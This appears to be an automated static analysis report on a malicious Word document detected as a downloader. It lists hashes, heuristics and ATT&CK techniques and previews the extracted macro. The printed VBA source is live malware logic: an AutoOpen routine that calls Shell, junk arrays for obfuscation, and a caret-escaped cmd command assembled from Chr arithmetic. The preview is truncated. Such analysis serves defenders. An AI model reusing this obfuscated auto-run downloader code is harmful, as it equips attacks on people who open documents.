Doc.Downloader.Valyria-6715188-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 cbd9b77dcb84ff35…

MALICIOUS

Office (OLE)

88.5 KB Created: 2018-09-20 16:23:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 09ac2527dddc52f433621ced965ec2c3 SHA-1: 248ca4bfc379766e213b72a144cf2ad7821563da SHA-256: cbd9b77dcb84ff35975c1cf73338779cf2954abf1e37ab362ae6695eee56fc77
142 Risk Score

Malware Insights

Doc.Downloader.Valyria-6715188-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code upon opening. ClamAV identified the file as 'Doc.Downloader.Valyria-6715188-0', suggesting it functions as a downloader. The VBA macro is heavily obfuscated and truncated, but its presence and the AutoOpen marker strongly indicate it's designed to fetch and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.Valyria-6715188-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Valyria-6715188-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15222 bytes
SHA-256: 9be8f852a3da90663e45a46df85484e94d6b69aa98fd56650b9578474e094dd0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CYtijPIj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const BAzCCdXhn = 0
   Dim LETLT(5)
LETLT(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
LETLT(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
LETLT(3) = MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557)
LETLT(4) = Right(liBtYksT, 399) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim ImAFrR(4)
ImAFrR(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
ImAFrR(2) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399)
ImAFrR(3) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim nnFAHd(5)
nnFAHd(0) = Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
nnFAHd(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399)
nnFAHd(2) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
nnFAHd(3) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
nnFAHd(4) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + Left(bVEjC, 222) + Left(bVEjC, 222)
   Dim AwXzUh(4)
AwXzUh(0) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
AwXzUh(1) = Right(liBtYksT, 399) + Left(bVEjC, 222)
AwXzUh(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
AwXzUh(3) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim AidZHM(2)
AidZHM(0) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
AidZHM(1) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557) + Mid(jUuNb, 857, 557)
   Dim vLvYr(2)
vLvYr(0) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691) + Left(bVEjC, 222)
vLvYr(1) = Left(bVEjC, 222) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
Shell@ jvjVE + kcOfW + ijbdGpzi + LWRmnEVWqjb, BAzCCdXhn
   Dim aIoFv(3)
aIoFv(0) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399) + Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
aIoFv(1) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
aIoFv(2) = MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
   Dim wzXLP(3)
wzXLP(0) = Mid(jUuNb, 857, 557) + Left(bVEjC, 222)
wzXLP(1) = Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
wzXLP(2) = MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691)
   Dim CcLkv(2)
CcLkv(0) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691) + Mid(jUuNb, 857, 557) + Right(liBtYksT, 399)
CcLkv(1) = Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
End Sub


Attribute VB_Name = "AIzIYrDULpj"
Function jvjVE()
Dim vDuKhw(5)
vDuKhw(0) = Right(liBtYksT, 399) + Left(bVEjC, 222)
vDuKhw(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
vDuKhw(2) = Right(liBtYksT, 399) + Mid(jUuNb, 857, 557)
vDuKhw(3) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
vDuKhw(4) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557)
   Dim kUBAO(4)
kUBAO(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + Left(bVEjC, 222) + MidB(HDnMaX, 825, 691)
kUBAO(1) = Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691) + Right(liBtYksT, 399)
kUBAO(2) = Right(liBtYksT, 399) + MidB(HDnMaX, 825, 691)
kUBAO(3) = MidB(HDnMaX, 825, 691) + Left(bVEjC, 222) + Right(liBtYksT, 399) + Left(bVEjC, 222)
   Dim MVcati(2)
MVcati(0) = Left(bVEjC, 222) + Mid(jUuNb, 857, 557) + MidB(HDnMaX, 825, 691) + MidB(HDnMaX, 825, 691)
MVcati(1) = Left(bVEjC, 222) + Left(bVEjC, 222)
notRprKQXX = CStr(Chr(CleanString(3 + 17 + 12 + 3 + 64))) + "md /V/" + CStr(Chr(CleanString(2 + 11 + 8 + 2 + 44))) + CStr(Chr(CleanString(1 + 5 + 4 + 1 + 23))) + "s^e^" + "t ^q^8y= " + " ^  ^ ^" + "  " + " ^ ^ ^ " + "^ ^   " + "^ ^ }" + "^}" + "^{h" + CStr(Chr(C
... (truncated)

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